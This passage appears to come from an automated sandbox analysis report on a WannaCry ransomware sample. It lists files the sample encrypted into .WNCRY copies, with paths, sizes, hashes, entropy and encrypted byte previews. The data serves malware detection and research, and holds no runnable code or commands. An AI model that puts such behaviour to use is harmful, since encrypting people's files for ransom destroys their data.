                                                                                                                        Preview:WANACRY!.......<..d...[9.Q.|[..$...{../.iB._DD. ....(......DP+gF.UQ....)%7...s.ej..5q.h]!..q!.i.oQ'...9.>.6.}f.O..u....4.......a.;TR.N..B}...V.U.*.W(.._..F....mnh.......&OK.........#/..{.....z...MQ.......6.....Q.9......)Tv.7)....q{... .FD1..Su..Rb............v:.....?...:).....I..L.9.SF....g..7.m.@....hzf.i.PHXo'Q..X.].... <....`...B.;..G6..!..}sv.m$Wo}y.n..1..4....g..T.r....&.T.i.W>....x.dOM'......X..=.n..d..l...;...L.KU3.eD.Nz.LJ.\/K`....}..)..e..x...@..pOA..b.....c.b)....R1.3n...5?..U..e...B..k.&..?..2..Z....\.....%u..8..i..9.A..SK.Ww.Q.vZ.w1.v/..eI}Vc....s?%y...N...Y).$&....+XI..B.}..2Y.;.o<.q..B8...._..A) ...j0(......./..W7&..,....q9..N'..v.t.y.=.w._..1....v..@....|.>.NY..d.f.....o..(...[#..g...9...Q..."uU.WAY.M..>....t...B5a.A.1.M{.i..qM...O..Q....|...D...<..,.o...}..........J..?].=...../.C...@&..2?.%.IH..Tjh.4.o.O{....W........^.k/.e..g(d.h.L_9.i].s[.0F.F....../y16....V...r..>..z...JW.......(.w.Z....|El..~.3......./.. .cj.@....

                                                                                                                        C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{2f454d09-98d3-4777-8736-371430301592}\0.0.filtertrie.intermediate.txt.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):47272
                                                                                                                        Entropy (8bit):7.996705969817957
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:768:IKswg8azvKD76NNxI4fZRi89psk10I5VJzuX+KF0QvLw4/4bBBhe2DCB8ZnsVI:IKsv8azpNF7v1H1uX+8hIgxksW
                                                                                                                        MD5:9B26EDCA971D40B4145EFC5F30F703BC
                                                                                                                        SHA1:7C94B2349EF0ACCA4E76D6B99DCE3DF6D235BF84
                                                                                                                        SHA-256:422071D5B4809847881A8C0848A082F845B928B7CC7EC2556D663B68DBD9C826
                                                                                                                        SHA-512:AE0A0F96FE35C3924CF0B3E295760C9C9BE654F823AF3CA57209D2466EC2A870668C2F509FCA0D781593B0CE6FE3DC21EE94DE43740212CD542611274F057B34
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.....n..9.n...G.;!c.2(.......q,....3.2..3k.*..,..[,.k...Q..q...Io..2.<..A..X..!.e.k.Uk...li.a<....-.......%.!...R.o/..........0!...>.......N>..!......e.\...:..]...~.x...U...pB~..!.V....6.4...,.....H.q....J,/m..}..^,........Z..;g......._;._..q.0..............._...|..2.........G.<.L.s2....p3.~L....8Wp..0<....B.I(,p.&LD..T.1.O.!!...~.R..Jm.5Y/r..\...Ni{..].....x{.%;.8<..2.(w..f.6.g.[..u...:.0..^..l8.%..x.....|m}Y~..........n..0..5..8......vb..iG.........x.U.%7..;..L'.q.?o..[.gV....j.&RYs.!.4.....p0. W...J.....*h...P.....T7U.[.\..N.n.....@....<v{..d...a..S.....>Tf3.8....D.../.[n?K......+.K[.2...J.c...s.N{....$....{5.N.....D....e5i....U<..C.(..`Z4..|.2Z..9}.....!.|!..i8.R.d...3...|k6.....}/~.4...Tr.j...Z.i.d.e...o,.H.L..m.6....h..P\......Q.....y....V1....K.U.,..E.".p.....Hx.a..9m..C..#.Wn.Q1..g#L.;...2T.4..g.(9..bn..UO...w.0..N[(}.WQ.......d.?0D..I[1..+Y..6...b...18w......z.X]..b1Z...?f.0...a/.1K....Q.n5U.).ur..fn?...\..+y4Oz..

                                                                                                                        C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{4f6a60df-9a8c-47a3-97c7-d65fc43b8ea0}\0.0.filtertrie.intermediate.txt.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):47272
                                                                                                                        Entropy (8bit):7.996312432750624
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:768:X1ap0+7vqQq5UqZiidkZsHTitiT+Abd94z3i5AC9oF7YRvbQfpf:Xk7CQq5UqidoKAbd94z3Oz9oF7YRvbQJ
                                                                                                                        MD5:2AC844DE3240AA1933C9758F32FF9C3E
                                                                                                                        SHA1:D95E76D066550B7D292EB4B26A2DE2B04F41A2AE
                                                                                                                        SHA-256:7EA539F47C32E26550E558DB7CC11FDECF2E995CD70970BE4EDB1083BA0E5220
                                                                                                                        SHA-512:AF1B2FFD130DDD5AA326F4477DE933A21AD8829D5E0C315642AC08A82484BF50399720660AC205E014EA58F30D5DE337BD3C378BDFF12AD6E6EE5F60219375F7
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!....dH8.):..A....NCK.0..P....Y<d.......Pm:o.}.^..y...3..?........0D.....7X...h.80.a.7.R.f....k(VB.yi:<..'Sdun.gw.NB.....m~.5...]2.]1....v.....E....#@....5.7..?yZ>..>3GP..x..U.....XK..~..8..h.Bv.....D....<Il.?.._..s..D..QA&.x.....e...n.S..J71..iH................S...M....`.......zNr.#k.@O;.C\w7........A...H..K.:&.E\.(Ni...fG.&..'.g.|.....-nq.V..~..,....(l.i.1.Z_..FO.${..=k.T....a....*.(.......5.'..s.J.3.^.#.c..N...6...v...`..@ .kFOV...0je...(.9.VK....+5.We..\.rZY.Io.Yk.+.d.{..f......Q7...*....?.B.;....%!..!.E..7.cd...n.[Zc...k..{.....5....Pe.=C.2~..M..y.E.."..!kH.VP.W...+e.0..\..>.u2.)..g......W.Z..4.X..._......T.....*.s`..x3.q|G..#..o.4.P..i0..r1)._....C....E.W&..Gr..X..z..{..2c...7..Jaf1i.,...#&^.\....I....:.-!.. ...a.7.#..+R..Ek.e:LN.3>q...I..*..||.Yr.[..DF.=V........j.o!......9....&....cX.....SsY.0.*.....}8.U.vK.bv ....}......*.$.Ic!.........z..Wt.Y.g........o.y._)1.9.n(..=...J._.H.......m4r.q.:8;x-G..!..6..."`....f.Uh.2.M..c

                                                                                                                        C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{baa231c4-8fc4-4806-b065-5ab82b98bc93}\0.0.filtertrie.intermediate.txt.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):47272
                                                                                                                        Entropy (8bit):7.996802704449419
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:768:VU3/A0AafD+npB2yklSDETTb4bD1uJCd7+8R/cj42ar3CriUznmZG1:OeaDy7DCG1gCdVuhiUzmy
                                                                                                                        MD5:AF53720499FC9F32947823CF479EDA0E
                                                                                                                        SHA1:E6481FFEDE9638B85BD7B48EB8C6054E620BB773
                                                                                                                        SHA-256:CA03FF7D0664A14D02BE33A75BAD5D5A06EE0904B0DBB0581AE2075B5697F1BB
                                                                                                                        SHA-512:B519D67FB2771E0426C78A8F8D2EADBE74EA460F607AFD5B7251EBC376BDDCB94DC2F57EDC705A8AC8B8CFD42B7DA5A883A812293B44CBD08A835C79FBA0A309
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!......z.|...9.[G.L..MYG....pb..f ..J...oK7..y.2.Q..o:......+X....QOT...i~.:....$..]..Y...z._......e!........E2..!.66.k...T..E....I|"......G.+.J>.f*.G...Lv.K..p.,..5......T.`qT...7...t3.D....O..f.B@....s.E.._.....1`.N..W.z..L.}2....E).B.b@.A.gx.Z.............@....!...p...........Ck^..l..o.....p.e..uULsx?.0a...blB..Q...A.j...7....;K."........%...jl..s.K.0v....../.9d.D..s.[....k*p....f..ZUd...X.6..M.VHlu.......H.).....T<..p..z...7....N.~.AZ..e.Z.....8}.2..j.s.UO.X..nDo=@m.....Tx..T...NT...n....z....@...`..l.,..8.....T.o...X..../7...B1d....7Z.u..eT.Ge{........4...bQ.sr....G.%7|..g_2>7W.@o.g..k.Y6..A9..@.-4...ddU:...."...t..-e.....`.#.O...w .8.K...PJ.AX..I..f..a..........*.%...i.J^.o.........U.vEFF|..Cx>r.ct....z.?...).y.-sje...D.j.hb....k<..._@J........}.X4v....:.z.U.m..bASs.;.{..7.Z.:/.&..em`).*t.7.!5uT..SN...h3..._..(..Xf.G.D|...U.......n.../J...Kd..=....<G..`.M...-m......JpQi.Z...!T...V.}.@.T.JN&l..Ba...!.)J<.z.3v3...,y.s.7.i*q.....c..

                                                                                                                        C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4969e51d-173c-4e79-9b57-3f39ed7bcf3f}\appsconversions.txt.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1426184
                                                                                                                        Entropy (8bit):7.999861426726627
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:24576:Y5no5swJF37KHG+sNBwS608CFhEtvN6B0XSO2dnbO0dPZ0XIqwA7QhWjUbE2nK3s:Y5JSF37KmjNB58sUvN6BfdbO+Z0X5wAa
                                                                                                                        MD5:F663CBB5CE0E824ECD584E4269B60D2B
                                                                                                                        SHA1:787772650437E0F9C9694CD1E1F056CE2C04B90D
                                                                                                                        SHA-256:608F21A95827D3B5BB1DA2875DE5A8629E8A52A1F982B06BEF00CE4B801175FE
                                                                                                                        SHA-512:4D098605DACCAF4492F11A94C47F2A03F81C7FDCB50B992241ACEE4E83F8B6F492B235206491A6C138487EFCD3A38E6DD43D8EA1F26C0C46A6A1C0AD98ED0EF4
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!............s.ZF.{."[Z?......9P.C..d.g.-]..a.u..0B(.O-..b..y....t...k1.`q.Y..7.3....u.u.W..h.Q..l.N)7.~..f...K..|......qz...L...x...x..o%..&...%Z...-b=..M..F>..0^.a92...%S.%F.R.m.ilE.4..&jm^..Q......gG.u'p.G*.*.q~uw_...;..}..&.Hk...VG6......+Sa...f.@.l...................=aD.Mc3q....t^.,.C~B.4.$-Y..@wm..x$......'I.[........\Z..8ht.Ox..C.FIy_z6..+.R..6q./c..L#..M/zP...?.$...n3!...<.Dz`..q.:..; #.).L...W..8..|.;B[....s.K....J...+M....~S.`.=[.;.d.....3'.....}....U~PVw..;..pvh...K.S!S..v%r._@h..g....8......c....Y..Ov....h.....o.b<..'Z.....B.....p.xR.........~..9NG.._.Go-......Y...;........a.>..<Wk....d.....0.{/...x.#.T.&..tx{.X.vH.{.`...]-.x.\@1].qsF...Nc..=.......\.j.,e.....Y..0.Q.`..".-f..t..QK3%......E.e.l.c....~..k..Wf..2..#7 .Y.N|.:.E...........vP.....>..:..|.|.K[|.Y...)...8.i.9..M.L.....i.....@0..|WVp...:.....P.<..25`@..K.Y...N..... &..&.m..{.:/L..b...!....v.1.QJ.J@f[....,o.`6..?-.9.....KRi..lMi9.k.M........S...F.'5<...[.'}..fI...xu..n`:e

                                                                                                                        C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4969e51d-173c-4e79-9b57-3f39ed7bcf3f}\settingsconversions.txt.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):533032
                                                                                                                        Entropy (8bit):7.999702455534227
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:12288:pC+rUCI/0cQgZRcaKzhdJ8yg2jV6RC6zEcAFO0RUurIqje:pF4fQgZRc3zhgajQRrRur9je
                                                                                                                        MD5:91E60FE47D54EE1756960C938FC119E1
                                                                                                                        SHA1:4B323BD653C3E13CA58DCA12CCC68D17DC611437
                                                                                                                        SHA-256:C0A44885D9DADE8B895D7185393F73DAC2053693AAC29910A9DDCE65F01705C7
                                                                                                                        SHA-512:818D21C6868CD0C95A71BA06334DE1F32C5F86255728DAAFD1F8A13FAE1CFD6AE62E2952515CF4BA3320562F8B74D758D88636BA1EB40EE49746C4E8307895CA
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!......r..&c...U.%..h.E.p.H:.FC^^.~.d./...zk......).9.ZT..7(...Z,.Cc.....xx..9.~..;..].Kt./&.L>DO.I..]......-...)...},C.K...ScZ5Qs....(.....0w%..;.....]M......L.{....:*.)1.i].x.....%2g.".Y.Ay.0|....-..#r.#...Ak.._..T....=..4c..P.qc~%.:.p.m...f....`.....!................v&...*.>4.........).~.3..L.b.Q......U..n*...Q...Y.3..@p...B..-..6.......m..../.Z82G..}-`W]o.h<:%B.2....}\8nV...(^..m.'....|...c.<.q$.i.>..4^L`x..;...!......Sf....&.GE...u..g...x.[...w...r#])r....E ..@.Dr....#c..L.SA......g...4..0,..Ip.D!..&..........2xR.(..X...G]p5.....7....6.[.H4..L.'E..Q...UhC`!].|Y..1-..g.....15k..I.i....W...+..n..t4.].?#*.2G.,[...sJ..qA.Dy`(..b..zzf-.t.#[.I7:.m..x..l)_..V....gT..!....c..*H....$...~..\o.E....$lzt.G/....?..n.u.....Y..p....q.:mUw@..F..... ..S@IK..=ND.=.s....`.....Y).)........[&.....P.o...t.3<...']..M..I.......X.Y..d5_B..T.x.._......I.v...Q..O. ...V.....w.Xjo..q..F..#...#.....v0...p....k.....v^..C..P......7.*..-....|9rk*.......h..O"%b...

                                                                                                                        C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4969e51d-173c-4e79-9b57-3f39ed7bcf3f}\settingsglobals.txt.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):62648
                                                                                                                        Entropy (8bit):7.997189533847826
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:1536:atmOfPVrhjeGAwNZZNMlCmh3sa/wTg9Pchu163QI29p:agOvCGTZZ7/5g2k1gfmp
                                                                                                                        MD5:91FFE2D3DFA7A2B44EF06AACBEE62373
                                                                                                                        SHA1:A4064881EB9C2DB45253F662A7983F1B5AC47FFF
                                                                                                                        SHA-256:A68697E7CD6BEFD6A38A7FBA9F604B1C45DD3EF026F0A59D759A1930CF06D730
                                                                                                                        SHA-512:32120A57D40450840F1E8C3F176E939CB8D676C4066C2354B41ABF4A024B56D1EA38697F81D38CD76F2D174E1AA56B4D3CE7254208B288099D7B62F13D41DF9B
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!....._.Z0...F.SL...e8......L.0D.........#.....|=L.N.7..3*.`..2.+.\.]...o.M.....]f..7.5-..!.l...?tx!..a..F.R...0.i.....a/n....(...{W...vo6....`#.6!.....E..E.l.L.8..0}.w:MYlp..9.&.Lt...i..~..U`.'h.!%w........Y.J..5...k.?h...].O.`...8..I@.X.O*F.`............Z....T.g.f..'..X.DX.N.r.f.m........o.....|..........c...?.M._.....&.G.{C..$|..(..R........j`..sc.0.S#.%........_.....v.1.......rN..Z|.=.....b@ .&..]....\.....w...V%.qS../Vk...J...Z+v.?..0..^...P.C^.s.........;*i...Y2...y.2.s-:`.1.u..NO.D..CWB.?o..H....Z..Q.*H.yXp.IRF-...3x.wU..%vQ.2J..f3...K...@.'..H{.-.i..K_..$..|.PY.....a.=A........"......h...).yE......\1s.....G6`.W.!0..V...K.]69...q..7...v....r.]......jB}_'...T...h..FD..3.v.`..Z.......F{....a^..5.3..b..:+......). .h.x=...F......b.,.].]..tY..vG...o.N.HSB5m._c.v....?...2M7.R..C.s.xY#....k..+......IF..c.....o...M.O.`..e..sfE.B..3...<....k.j..J.Z....#...b...6x.y..jq.._fN.>./G4...x=..Q....z.`...?...q.`.9..f..E6t.X.tI..,v;

                                                                                                                        C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4969e51d-173c-4e79-9b57-3f39ed7bcf3f}\settingssynonyms.txt.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):128936
                                                                                                                        Entropy (8bit):7.998724711808832
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:3072:6XRykv0KOcxbxC4Nu3P+UFyu774BBWIYtXS+g3akXXihIaAh:MJ7C4NzZu7ELJ2ibdaU
                                                                                                                        MD5:8448D8C289A5C92686609E2B0887DE52
                                                                                                                        SHA1:25A08C11C33AEF8BF49680B71F0FF37DE7FDFD7E
                                                                                                                        SHA-256:CC60372ABA327D9C4CC9749BB0F513ADCD0CF928BEF5CB6C9BDBCF556C62CF79
                                                                                                                        SHA-512:D67B5FC5296F4B2E131B8794ECAC0DCCBEE1190736EC290EA0A4432B2CF87F6EC91D3C571AA24BFB7BB3D5AF1BA746553AB4E804A530D422E611A90ABB55C6BA
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.....g...".....4X...^3..[.s.).w.+$.N|.....k'.zm.C.......y}*.)V..W.S.... .(n..z...K..g.C.&...pd..n?d...@V*M....Z....M1p.g .AHhk..bR.P.....m..oq.x..+.....2...........p..=JS@W.x1..,z.(..a.-.U..@../.V...e.%.2O|z.M.~j."...u..u.1p.*.Y.:...u....bN7+................r.A?......e#.+k{..y.....HR^M.{@q....).C...G.w./.".g....l..."....8.9.W.....^l..R.}.......A.6.b...c.DY.4..,B.Z<.....hO.^.Ui>./...UKT...q..".3F..k..m..;..6..+s..o..c{.U............0.:....r.^.....H.. B...q..jB....... .....5.5}G.uJ.;.L.X..a..5K.\K\.m..@.J^..sJ)....M...m.E..u:.. ..;3..wtrp&...&.pC.^.?.V...pD..D.;...~..<*U.....=s....O.J...\c.... CX.oAS!P..6........z..Q.....Xr...A.........*..'.0d....).....}E'\..}x..`.Q.....;&Hd..O.%..3...5.Z../.8.x-.....H..KX.mg..q..R....)/zG.E.u.)F].K..k,n.[.'.B.p..Z...B.5.N.g.g.."...-.....I........|!".2...h*d.A.pr(..3..B.H.;.........A_!.Y'~...P.Wv#....'..."./=1.3ob.m#...`......lB..w.k]..;}.~D]..?...6...s.y....x..T.]J.S...[...s....#....G3..@S...O.{

                                                                                                                        C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{b5f948f2-ed43-4efa-a5e8-c66e8e4b2569}\0.0.filtertrie.intermediate.txt.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):221672
                                                                                                                        Entropy (8bit):7.999238270698789
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:6144:QrdtapeUu7EsKHt4V8mwyiYymMnCslv9Xq81SkEBjjYg:Lu7LmaViYymnsfXb/EBjjl
                                                                                                                        MD5:19D45B00DD600C7C6DFD701493EF20A6
                                                                                                                        SHA1:C9472883FA8B53A36E783305C53426DEEE859F25
                                                                                                                        SHA-256:51BAE5590753E55932EB9339549435E36442990F2FB9394C84DDD6E1C07E1257
                                                                                                                        SHA-512:9AA49CD9D85E1FFCC40DBAFF405668A6E323D8E157429915EE8DC5FAF78BD7A44CBA3D82326232E39F740EA230176977278ED29A1918C6890BB66699A12D66F1
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!........]..Y~.........x......"..}i..q.D.i-.8.L<`...n.*.w5.zo..\.*.:~.......#T!.z..^#..)......11..R...g.....y..n43...Eu..Qy`.+......]D...>.~.?J.V......m.Vk.v.F...m.e.K..!...O ..f.p....[`.f...."....[|.R4..q..6....D........ie...l...|...>.....Y..y......`.......,$.?..H..l.,.d....%...k..w.G......*...]..%.M...lJ7!...862.n.*>.ka.Ej....YG=|.Ka..n.5^k....Tt..4.Y... ..CP....+#..+I.`.c.?N-.^..]."}.|.{%...Z../i'.!Z6...=.."&s.iQ?.v..n...........8t~Mv...%.1.[69.C7;...)..d...w.".4.Z2....."e\...4......q(.......xh*4.....hC..by."a.:7...H}~.!..."*.Kc..2....u;.:.........H.d..h..~...|.|...F...x7..2...t^.}W..h^ay..h"[....4..n..T"3...6e..t'd.....D.%5...rwl>..J..+V.hU^O36...95-Z.&..m...18p...-$G..(h....w.e.n.. ..B.C..N.t5B...A~~..(%q...+...4P....6n.XC*"4..X......pH..c.....}.....L...Ut...d:.|.P.ywW.|\...j?.6.Q.U...i....Y..0...R...[._.h11.N....k...e..vu......QY.7].P.../.r<.G..k.&.W...lb.3.9..t.I.A...:..C..z...56......aq^..w.p.N.-.....;k0.0R..$..T..`...v..o..

                                                                                                                        C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{fd8f40a4-ac14-48d6-9ef0-afd19dd2a012}\0.0.filtertrie.intermediate.txt.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):214008
                                                                                                                        Entropy (8bit):7.9992105307255645
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:3072:oUCParciMU96c3KuaU+tI94tZjj4GpsryQQQAa+0R/IX+b5KyXoeai:ohSYz5c3PGtpHNsrp5dRQI53Xoeai
                                                                                                                        MD5:0998F858340441925FAD466BFDCE21EB
                                                                                                                        SHA1:97DCA1694448CC3021D6828FA8E751678C03D74B
                                                                                                                        SHA-256:C102DC2C6FA78B629E1A65E4867E6DE79A17BEDB9E68A182E43FA177C68D7CB2
                                                                                                                        SHA-512:1DB063884E660FE41222E474D620DAA00DBE894F1DAA607FEF161EC44FD1E5146D238DD4403824ADF41BA4637D43F7F0DB6344C390AA3A54F4715AE133BFCDC9
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!....|....I%........g.h....b..G..\z...l^j.|.#.|..lD.Z c>..{..f...a..r.....7.0>......=,..a...^..6.o\...Kh=..~.@..3...`)....E...<....I.c.6}W.+.....V.........N`.~.t._.~|..2.>..?.,.......O...q.{...v.P6.g.....Uy...M.`..)P~9..'..rg..%.B..r..Y...y..p.30.U..>......B......V..........k%..[.t..i.... X(_._.7.`&I7V_g..V..H7X;s...).#.l.......}H%9.o.UN..Z.........|%.,.l.h..*..|.F......X...Y|._.......Q.LdA.....r$=....CE..o_</...!I..bY.P...{&"...L...B.B.9..KVA......<;..l.U.xco...h.l..s66......=.!Z........,r...+.j...:`'.!.O4.`|.?p.G........n.:s}H.....<!.A6...:.!jnQ....Zz.............WX..;....&...7..;...L.........yK.`..l...0<t.z.._.F{.S..#.P.Jj.H..t0?..\jR..X ......N..9......K.g...w.x.t.D....J.ex8.,...o..x.p.?.1..|.P.>"@[x&.u.5...k....j.L$!..EV.~....H~.O. <.y.,...hR.d.bs..Q.D.......CU'....B.#.`r..R'..mW..d.....{,..eSz../..s..9.f.....X,K^...N/...`7.w.Rfja..k....d<....6..G..... ...9u.[.Hg...#.%$}M.?..\.T.8...@i..G..e....9.N.aQi^..q.>.../..j........l.

                                                                                                                        C:\Documents and Settings\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM02835233[[fn=Text Sidebar (Annual Report Red and Black design)]].docx.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):47576
                                                                                                                        Entropy (8bit):7.996197849946979
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:768:H4JPPWZMHjoCeVPVaGGhSqRnRmhsd23JNxjkckqGohomwejuxQxUNe3w3UNJyx51:rmDoff2LFIhsWQck3ohdHuNe30UNm5VX
                                                                                                                        MD5:EF33EAF77DB9E55BBC619480209754BB
                                                                                                                        SHA1:E43711F95C0ACABA1D5BD6BD370E828E3134CBC8
                                                                                                                        SHA-256:615EB26D8F2D6DFF66953A6FB286B961912C7B0AB31880B6B936EA65E21761D7
                                                                                                                        SHA-512:08A78A77EC4A5EC51AD23912945345649D3AB47F256B4C65E8E515C2C1E424465927166D403445CC8D594C485483C075A2479F5040568EF39FC8DB5682056D95
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!......=s9i5.4.......nI..#........_ .({\.s.....L*.1|.FS,Z.<.kRx..)f.c[Yn...d.jxrL..Qq/j..zD.....z.OD.^.F.0t.4...+..\....j.......>|.j........B.BD..=.{e`#.g...pr{.c..$.x..x.w..c' ..SM.-d7...U....*.G...uU%...j..\D@.lh*5#_.~U.ON.0....S......@...#|.....T."..:..!I..............J..y.".=.B[..v.....~..f....%...n,...}...LzH..Q.-.w+..qgd....R....B.G.y7..-.K...I.a.|...[y!I.....JX%..kO. ./..o..kZw`....G. ^;E._.h?.C.f..c..........O.](.{+......)>...0x1.K6M.*.x..d.3#8bj90B..i..z..5.......i......>.G.7...........).K.Q..[.{.D.?.T...=Z.h....f.;5.H..:.U....).Q!.T...a.-.@..Q-..}c4\A.._...g..p....8;..#..n...7..}c.^w..r]..$>.=|1....SN.z..3.G .......Kp7.9.b.\.o1E.:.I...Bt......iKU.0......8.eY.<..9]I.>....)N6..F]...MJ.r......4.\.../...pN.%......:>@.r..61.8Hs...6|..C...}Q...zS``....~wG.=.w4..J...zkgT...o.)....&..f.s..A..a..9.....L+\>?.x.U.rQ....,...V. V;.I.1!j$..C...L.D......`[.B\P...o..@C...C.P.*..i..y..B.l.p..0?...)s.).5....g.+.../........YmMW@.HF....K.?w>v....

                                                                                                                        C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\ATJBEMHSSB.jpg.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.813821145134839
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk5rlp0FR9Htzk1w8zNS40RsS3LaZMrpPZ0paOZG7rxjClOG4tiUBo88gyusCG:bk5rMVK1vNS4g2ZMrpPZQulC0GjUTyx
                                                                                                                        MD5:7D059176ADD4D05B3A990363B76B27B4
                                                                                                                        SHA1:825D63D5FDDC23CEEFFFBE52EF70953619FFCE66
                                                                                                                        SHA-256:358D6527FDEEFB0F68F326D862C6C7DEB28FAA2F257D2DFA7D0D3D46340F4C19
                                                                                                                        SHA-512:19967AC089F92AEB79D436D4C42BC9A4DE5536EEF6F81B1696CD4B762B851CE18022BA662DDDA325253BAA37BF62CA556B7681CDF3CC9E9C34629C57DEC7E969
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....O%....g..\&T...q.\.......<...\%.......b.....[@)....f..C.yB....E.....R...x.....#.E.{3.6...WT.s.k.....y..h.w..R.F.v...3.i.Y.....vVK.].vP.....#X....c<.,....p..$..i:M.=...dH.wlN.......r.9....n.f.h.O...?@S.0_S....oK~.,..h.:D.e....8\..Xe.J........-u.............A.....s.~m.[.R.6&)...>..U..../......W._#..#.tu.k..1X#....).._.*5.j3.S..M..O..N......\...."K....q.E.Q..5..>..!.{......y..](..w.M...2...7\...`..)...~R...;Ae..-pc.)..W.a(..4(....]...@G..Z..lP.S.4........UTl....-...c.....b[.._...f.#..@.L....5".<.L.).<s...I....N..8...I..}..d.-..%...pb..q...J......].g...<....&..5qeW.:..k....w.Rg.f......S.{..eW...1.....J..c{.=..*.5.i..A.qk<.4K.aId.XD|g....&..U......y.vG.s.kKN..Q......W...v7.........yr..m.hD.:.g.C<+..z...t.-.]~..........3...F4..tx..1!P.....&...L.g.]......~...`..Jh...h?..... ...#+F.RV..W......-FT..a.Mk....[$..O..ae`..%..<.:... ....."...n.<.'o.....w4..i.Uh.....8.a.\.ir...,o...b..+.Tw.)...*.:..wE...I.Jg%..1..<.C.F3=@.{r.q..iN....~.

                                                                                                                        C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\BEGVXSVKZL.jpg.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.8393857511857465
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk4l3NDfoNc9nqEiTs3KvAcaskS+WmRNQ5WSer0yO4bB+hRpaQMTmDFqrk9c02Uu:bkqFEc9nqFgoA6kbW+C503O4bkhvaQM3
                                                                                                                        MD5:33206F28FF422AC27755BBF110C85F16
                                                                                                                        SHA1:2087B77E52B1CB545B46088B4E2267F62636D2E1
